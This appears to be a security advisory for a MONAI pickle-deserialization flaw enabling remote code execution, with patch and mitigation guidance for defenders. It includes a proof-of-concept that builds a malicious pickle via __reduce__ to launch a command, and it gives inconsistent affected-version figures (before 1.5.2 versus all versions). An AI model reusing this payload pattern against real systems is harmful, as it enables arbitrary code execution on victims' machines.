CVE-2026-100846 — monai
Fix: Project-MONAI/MONAI@9078a72CVE-2026-100846 is a Deserialization of Untrusted Data vulnerability in monai. A fix is available for monai — see the affected versions and patch details below.
MONAI before 1.5.2 Remote Code Execution via Pickle Deserialization
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-100846.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
monaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.
Details
poc
import pickle
import subprocess
class MaliciousAlgo:
def __reduce__(self):
return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())
attack_data = {
"algo_bytes": malicious_algo_bytes,
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
f.write(pickle.dumps(attack_data))
Generate the malicious file "attack_algo.pkl" through POC.
from monai.auto3dseg.utils import algo_from_pickle
attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)
Ultimately, it will trigger pickle.load through a file to identify the command execution.
<img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" />Causes of the vulnerability:
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes)
Impact
Arbitrary code execution
Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | monai | all versions | 1.6.0pip install --upgrade 'monai==1.6.0' |
Affected Products
monaiproject-monaiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update monai to 1.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-100846 is resolved across your whole dependency graph.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Frequently Asked Questions
Is CVE-2026-100846 in your dependencies?
Find it across PyPI, including transitive dependencies.